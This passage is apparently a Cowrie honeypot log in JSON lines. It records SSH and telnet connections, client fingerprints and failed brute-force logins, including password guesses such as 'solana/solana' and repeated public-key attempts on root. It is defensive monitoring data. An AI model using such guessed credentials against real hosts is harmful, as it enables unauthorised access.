{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:27:30.947083Z","src_ip":"2.57.122.208","session":"7b68b5525b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:27:32.451615Z","src_ip":"2.57.122.208","session":"7b68b5525b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:27:33.652793Z","src_ip":"2.57.122.208","session":"7b68b5525b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.135.33.204","src_port":50249,"dst_ip":"159.203.135.109","dst_port":23,"session":"a15a715f4519","protocol":"telnet","message":"New connection: 220.135.33.204:50249 (159.203.135.109:23) [session: a15a715f4519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:28:05.531423Z"}
{"eventid":"cowrie.session.closed","duration":15.804084062576294,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:28:21.335384Z","src_ip":"220.135.33.204","session":"a15a715f4519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":59014,"dst_ip":"10.17.0.5","dst_port":23,"session":"96cfe7712310","protocol":"telnet","message":"New connection: 49.88.156.34:59014 (10.17.0.5:23) [session: 96cfe7712310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:29:33.056340Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51772,"dst_ip":"159.203.135.109","dst_port":22,"session":"06e35fdc9503","protocol":"ssh","message":"New connection: 2.57.122.208:51772 (159.203.135.109:22) [session: 06e35fdc9503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:30:41.334560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:30:41.383284Z","src_ip":"2.57.122.208","session":"06e35fdc9503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:30:41.463563Z","src_ip":"2.57.122.208","session":"06e35fdc9503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:30:41.929209Z","src_ip":"2.57.122.208","session":"06e35fdc9503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:30:43.125656Z","src_ip":"2.57.122.208","session":"06e35fdc9503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.239.96.130","src_port":57481,"dst_ip":"159.203.135.109","dst_port":23,"session":"6207b1a1db2b","protocol":"telnet","message":"New connection: 141.239.96.130:57481 (159.203.135.109:23) [session: 6207b1a1db2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:31:07.053763Z"}
{"eventid":"cowrie.session.closed","duration":13.271610975265503,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:31:20.325277Z","src_ip":"141.239.96.130","session":"6207b1a1db2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00583624839783,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:31:33.061916Z","src_ip":"49.88.156.34","session":"96cfe7712310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54232,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dfa9db6a03e","protocol":"ssh","message":"New connection: 80.94.92.184:54232 (10.17.0.5:22) [session: 8dfa9db6a03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:39.608685Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:39.717733Z","src_ip":"80.94.92.184","session":"8dfa9db6a03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.50.34","src_port":58346,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e404a3c1578","protocol":"ssh","message":"New connection: 148.135.50.34:58346 (10.17.0.5:22) [session: 2e404a3c1578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.199194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.203899Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.272227Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:64:cf:99:d9:e8:87:3c:7b:21:9f:b2:7b:9e:ff:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmtVDcj+S86pPh2WYiTCWIoHbuZoTsnAAAIp8GfRplKgkWtWXU7yT9QyD0Ad2XlX9XXOxarbEtkN5YwccOBHpG2+ZvHwa8SBVKUR1ARrxkcgoelh5JHkre8FN8Pes6zSLWFEyqreMqsFbJp79e6/O/0BCW7sQkALthySzcLwJofRRk9SG5N88LM0hPZ0ZQdWSagMTC9YfF+M5MTweSkKemmAEWla0B1TqM5Ow/QtopXuD9xZyBXFkhIiueE5hxY7kDwBNeBt22zHhxbR2qLnc+yYenmRiNBqzHb+iEAfaDNdS9QOM43hewavWf3UqD/9dK+k/AE7AeQjJ5bnVgcEPYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:64:cf:99:d9:e8:87:3c:7b:21:9f:b2:7b:9e:ff:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.591449Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:64:cf:99:d9:e8:87:3c:7b:21:9f:b2:7b:9e:ff:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmtVDcj+S86pPh2WYiTCWIoHbuZoTsnAAAIp8GfRplKgkWtWXU7yT9QyD0Ad2XlX9XXOxarbEtkN5YwccOBHpG2+ZvHwa8SBVKUR1ARrxkcgoelh5JHkre8FN8Pes6zSLWFEyqreMqsFbJp79e6/O/0BCW7sQkALthySzcLwJofRRk9SG5N88LM0hPZ0ZQdWSagMTC9YfF+M5MTweSkKemmAEWla0B1TqM5Ow/QtopXuD9xZyBXFkhIiueE5hxY7kDwBNeBt22zHhxbR2qLnc+yYenmRiNBqzHb+iEAfaDNdS9QOM43hewavWf3UqD/9dK+k/AE7AeQjJ5bnVgcEPYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.595455Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:3d:6d:0b:ed:fb:f1:32:7a:36:f4:1b:f1:d8:31:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfLjYd6GLiemqFP32xK6XWSu9RuJ7vZPgd2oKjiiOlvR/KrOUfTbo9tiFRAqsfgBevhe0XnLUbIvZAO6+xKBDkf9c2Pxss9kOUbjPCzD/zJhg9s2IyeIbzfquS8uk7HpwpLHDAEQ0CRrhWUMqPOyTUy98RTNACpADBGgqi7I9Q5CTP8CIlRMBaTAXDZh0W7lXydZKnHEHV70gN8vLAL3GYyVAkajL1hA7jLgKW8Fca0T6j1N6LY3dwbJj7dytpdDKUixNARyTqJWqqjwEfBh+tvSL4XMyphTJG3VxL8TCiSJVeyFA0jKr3DMC9nkPlDeyuicJ5M71sxslD18EsEDQm4YrAMjEb5AyGnnRNo2WDntMpVLRf/tVnzWM4xmylz7ony0EdFQgnXRtZ9kJ7t9PVxdHIc0/o19IqJ2hZOQC1hBZaIKnq89UgdcKXSYWt0qd3Bg+27+zUbTCocDv51YYH3vJQTGVMnXEcCiR2I1keAbvWHtLqCd29W3EZBHsoXmFpcs9L2XYX7CMlFfdh1qSbA/7PVh8f/cSh+REXS4jDtM+mxCRbtno3S+wrHUXG4pjjZ0sFSxk4UU/AnUe3Txis2nGXbFVIMyjzNi6XWABTUuXoyKP7gBykk0HgbnPs7l5djLRRWJ5ndh5yRFz5LN+oHAOV1cuO9CUUG8BsvtYW8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:3d:6d:0b:ed:fb:f1:32:7a:36:f4:1b:f1:d8:31:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.668730Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:3d:6d:0b:ed:fb:f1:32:7a:36:f4:1b:f1:d8:31:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfLjYd6GLiemqFP32xK6XWSu9RuJ7vZPgd2oKjiiOlvR/KrOUfTbo9tiFRAqsfgBevhe0XnLUbIvZAO6+xKBDkf9c2Pxss9kOUbjPCzD/zJhg9s2IyeIbzfquS8uk7HpwpLHDAEQ0CRrhWUMqPOyTUy98RTNACpADBGgqi7I9Q5CTP8CIlRMBaTAXDZh0W7lXydZKnHEHV70gN8vLAL3GYyVAkajL1hA7jLgKW8Fca0T6j1N6LY3dwbJj7dytpdDKUixNARyTqJWqqjwEfBh+tvSL4XMyphTJG3VxL8TCiSJVeyFA0jKr3DMC9nkPlDeyuicJ5M71sxslD18EsEDQm4YrAMjEb5AyGnnRNo2WDntMpVLRf/tVnzWM4xmylz7ony0EdFQgnXRtZ9kJ7t9PVxdHIc0/o19IqJ2hZOQC1hBZaIKnq89UgdcKXSYWt0qd3Bg+27+zUbTCocDv51YYH3vJQTGVMnXEcCiR2I1keAbvWHtLqCd29W3EZBHsoXmFpcs9L2XYX7CMlFfdh1qSbA/7PVh8f/cSh+REXS4jDtM+mxCRbtno3S+wrHUXG4pjjZ0sFSxk4UU/AnUe3Txis2nGXbFVIMyjzNi6XWABTUuXoyKP7gBykk0HgbnPs7l5djLRRWJ5ndh5yRFz5LN+oHAOV1cuO9CUUG8BsvtYW8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.671693Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:9c:02:d3:02:d7:27:39:fe:03:11:62:2d:0c:2d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkU+X0sZQZj7DnBRGuLw854TNfriHXQ3mRQ9RmRjeiyHVZA3rQFYEnWVzlQpk6HFxZ1DWSUcF29/RnkmuEtdoLlF2InNDIYs6icaoiDmVsf/8JKVwjLJx9nLA6vufYcSgwjeJAJKVoJ79cFCCUvQO3GeIdWmjtmGAEkZ34AQSPVkdtfH9BQW/hQx9T8ecxJxiUepBiuMpvPty1pJIg5BOXsSxX0KC1E4twxtAtCUTlHfz5nEHC7YzUGIQ+d8FRxXTpohycJglwXL9GD09WdPO7kPazEdzGj0y6dFQiNYdy4DByVoknLa1rxUyEKSk11T5dlE/yIF35aUPGi1I91AHZcXDERlHvN0SN/eB/nSOCAkBAzyvz3kUAGOWb6Eta+ya72egp7OQijEq/ALiBzL/OCJ5+91LfTpZcrfH+aaFedrn0kClb8p/Yl+8VpU5wRJhgntCYBMuFX7syg616AWoUpr7YZ2dadL9t4iOe+ekH+PdL8q0/LnC59qPVIL0pbCmEz/NMvY0aG54w0jEMMNjCoE89VsNO2KNpdhIQHWM9+HTeodIVbeF2s1pH3gSgc/DxxvRFqfXV+ZUKLjmylvFjpthKHBh76T46zyA+Ki7MKG6vQMgKVxjfjvq7oDIoGkMf0DiKxsaMOtrcI4mvKoTmrjckD7h5EbyJCnEmqCa2GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:9c:02:d3:02:d7:27:39:fe:03:11:62:2d:0c:2d:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.741325Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:9c:02:d3:02:d7:27:39:fe:03:11:62:2d:0c:2d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkU+X0sZQZj7DnBRGuLw854TNfriHXQ3mRQ9RmRjeiyHVZA3rQFYEnWVzlQpk6HFxZ1DWSUcF29/RnkmuEtdoLlF2InNDIYs6icaoiDmVsf/8JKVwjLJx9nLA6vufYcSgwjeJAJKVoJ79cFCCUvQO3GeIdWmjtmGAEkZ34AQSPVkdtfH9BQW/hQx9T8ecxJxiUepBiuMpvPty1pJIg5BOXsSxX0KC1E4twxtAtCUTlHfz5nEHC7YzUGIQ+d8FRxXTpohycJglwXL9GD09WdPO7kPazEdzGj0y6dFQiNYdy4DByVoknLa1rxUyEKSk11T5dlE/yIF35aUPGi1I91AHZcXDERlHvN0SN/eB/nSOCAkBAzyvz3kUAGOWb6Eta+ya72egp7OQijEq/ALiBzL/OCJ5+91LfTpZcrfH+aaFedrn0kClb8p/Yl+8VpU5wRJhgntCYBMuFX7syg616AWoUpr7YZ2dadL9t4iOe+ekH+PdL8q0/LnC59qPVIL0pbCmEz/NMvY0aG54w0jEMMNjCoE89VsNO2KNpdhIQHWM9+HTeodIVbeF2s1pH3gSgc/DxxvRFqfXV+ZUKLjmylvFjpthKHBh76T46zyA+Ki7MKG6vQMgKVxjfjvq7oDIoGkMf0DiKxsaMOtrcI4mvKoTmrjckD7h5EbyJCnEmqCa2GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.745378Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:ba:90:1e:44:18:4a:4d:ac:c1:9d:ca:f1:15:08:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn7FvHN2IJp4D+7jHe5YGWNzynbB3zUkUOj7mV3+PrZ8MmJQDsJmLCuRgwAPLXPoHngJt8nfwQyD1DrxfEy9/Ztu5wAsbq0xcqQ/UFN1nAQKbTVuIi65/KuRV9bJf0yVQ6exTbOxQdzE5JOwUm3DrCXa8c1wjGsZmEI63mxbkwfU+Vy0fzL2e3GWdauTTzHbL7LdUzuuebMtfOsghppHRjwfH11QzZkvvQ6JQDIb4FznrfYWjRDzEyaDzK0x87X9Od/dvJgmCDe3As4O6if/kXvPvgqfNQSJUkZxkctc9Oe8X6LACmzQblaScyKBVX8fRLWO6ZZe4x8oXe875iW3apKe4oibnU+q4Rm2f9N965U3qq5zutWqgqjNNR9/krd5nlfSx1UTbbH7lHGEaeomvWnwcNp70VMc+BcX/IWGIszgYAjIndkMGSziyIJo77f3voAnn1GmOeyEPh50XPoGmGk3Z07yKh8xEeWKvcm3laNvwC8nCf2ZFdF/lIWaeElzS8PpTeV9cvis6IjmbqR5Q43bNret0MVsvkYQRtZ0bMnAoUlM0LDc421f/ieP6HGdNPK+08b+xVLVsMWICxlXwE4ckbZEcN5G1Py+Hx6L2vSfi/Nabts/MzjPaM3We3Oytz00VxbRpfLyXS0TPVM1i/Dnhs4BQeKelK/D8tN3VxEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:ba:90:1e:44:18:4a:4d:ac:c1:9d:ca:f1:15:08:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.815591Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:ba:90:1e:44:18:4a:4d:ac:c1:9d:ca:f1:15:08:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn7FvHN2IJp4D+7jHe5YGWNzynbB3zUkUOj7mV3+PrZ8MmJQDsJmLCuRgwAPLXPoHngJt8nfwQyD1DrxfEy9/Ztu5wAsbq0xcqQ/UFN1nAQKbTVuIi65/KuRV9bJf0yVQ6exTbOxQdzE5JOwUm3DrCXa8c1wjGsZmEI63mxbkwfU+Vy0fzL2e3GWdauTTzHbL7LdUzuuebMtfOsghppHRjwfH11QzZkvvQ6JQDIb4FznrfYWjRDzEyaDzK0x87X9Od/dvJgmCDe3As4O6if/kXvPvgqfNQSJUkZxkctc9Oe8X6LACmzQblaScyKBVX8fRLWO6ZZe4x8oXe875iW3apKe4oibnU+q4Rm2f9N965U3qq5zutWqgqjNNR9/krd5nlfSx1UTbbH7lHGEaeomvWnwcNp70VMc+BcX/IWGIszgYAjIndkMGSziyIJo77f3voAnn1GmOeyEPh50XPoGmGk3Z07yKh8xEeWKvcm3laNvwC8nCf2ZFdF/lIWaeElzS8PpTeV9cvis6IjmbqR5Q43bNret0MVsvkYQRtZ0bMnAoUlM0LDc421f/ieP6HGdNPK+08b+xVLVsMWICxlXwE4ckbZEcN5G1Py+Hx6L2vSfi/Nabts/MzjPaM3We3Oytz00VxbRpfLyXS0TPVM1i/Dnhs4BQeKelK/D8tN3VxEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.819819Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:19:55:2b:39:4d:3e:ca:55:3c:d6:5d:0a:19:5f:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTxJ9+rpDCXcRvyUlIfJLYQEVdCKA7m0t7wGmxHVvR+6mOXF7+sotgXQEB0Xg/lb0LJsdzt+i79o1SahFSjbcQIH/zwyCLIx8KcO90vMCGQvroOdnOJNMQl3B97cUnXjeXkmbm6tENPtsssrE0YkHUeBg6OY+ec7hNG1rDLLBsnuwz3QIrFZhmdntcMUgoKQoSLn/JlL7sH7Ub0LLlMe0/aC9DluK+z4hmk1t6pc4PbpGyyPMbY4sg4Z8xiTbrMpICjuhrwDz7ZCdYxGm2nFpxIOSV6YcONFPGuL6BToZSBdHPOVmIk8RO4iyjO6D+8SWHKfSijlezTlP7NcEVIrvUTWaL2/Sy2hGusH9GmWY5qzF4ad18zlB72Izg+1ZdUl9x46xNkEinabdVqWcGnGCaEetK/dVbEcmD5cggcDGHbWMlvC3OXv+Y32Q2lHhSuTEyX2sWe/6v/cz+mhfhThipUQztZ6DVwIaBaCbLGO+uJ59+NiYIWmB+vNVyJLrMEm+5bVwl/mTZav+5RgwLrBLrAuQTV49QvWVfUSAYfR5PJBUHSo9K9a+zEVGb6MqHtt6Mht7xNuUA+L0wsOZnokDYKJbJaj7C/n42eH0H5lwOCPjXNcREa2rXJqfbHckCGJA3Ffo7uzO4LuPCTQDW0pnWjpI/+/puEr3JxoOVnUlm4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:19:55:2b:39:4d:3e:ca:55:3c:d6:5d:0a:19:5f:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.889591Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:19:55:2b:39:4d:3e:ca:55:3c:d6:5d:0a:19:5f:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTxJ9+rpDCXcRvyUlIfJLYQEVdCKA7m0t7wGmxHVvR+6mOXF7+sotgXQEB0Xg/lb0LJsdzt+i79o1SahFSjbcQIH/zwyCLIx8KcO90vMCGQvroOdnOJNMQl3B97cUnXjeXkmbm6tENPtsssrE0YkHUeBg6OY+ec7hNG1rDLLBsnuwz3QIrFZhmdntcMUgoKQoSLn/JlL7sH7Ub0LLlMe0/aC9DluK+z4hmk1t6pc4PbpGyyPMbY4sg4Z8xiTbrMpICjuhrwDz7ZCdYxGm2nFpxIOSV6YcONFPGuL6BToZSBdHPOVmIk8RO4iyjO6D+8SWHKfSijlezTlP7NcEVIrvUTWaL2/Sy2hGusH9GmWY5qzF4ad18zlB72Izg+1ZdUl9x46xNkEinabdVqWcGnGCaEetK/dVbEcmD5cggcDGHbWMlvC3OXv+Y32Q2lHhSuTEyX2sWe/6v/cz+mhfhThipUQztZ6DVwIaBaCbLGO+uJ59+NiYIWmB+vNVyJLrMEm+5bVwl/mTZav+5RgwLrBLrAuQTV49QvWVfUSAYfR5PJBUHSo9K9a+zEVGb6MqHtt6Mht7xNuUA+L0wsOZnokDYKJbJaj7C/n42eH0H5lwOCPjXNcREa2rXJqfbHckCGJA3Ffo7uzO4LuPCTQDW0pnWjpI/+/puEr3JxoOVnUlm4w==","type":"ssh-rsa","message":"public key login attempt for [root] 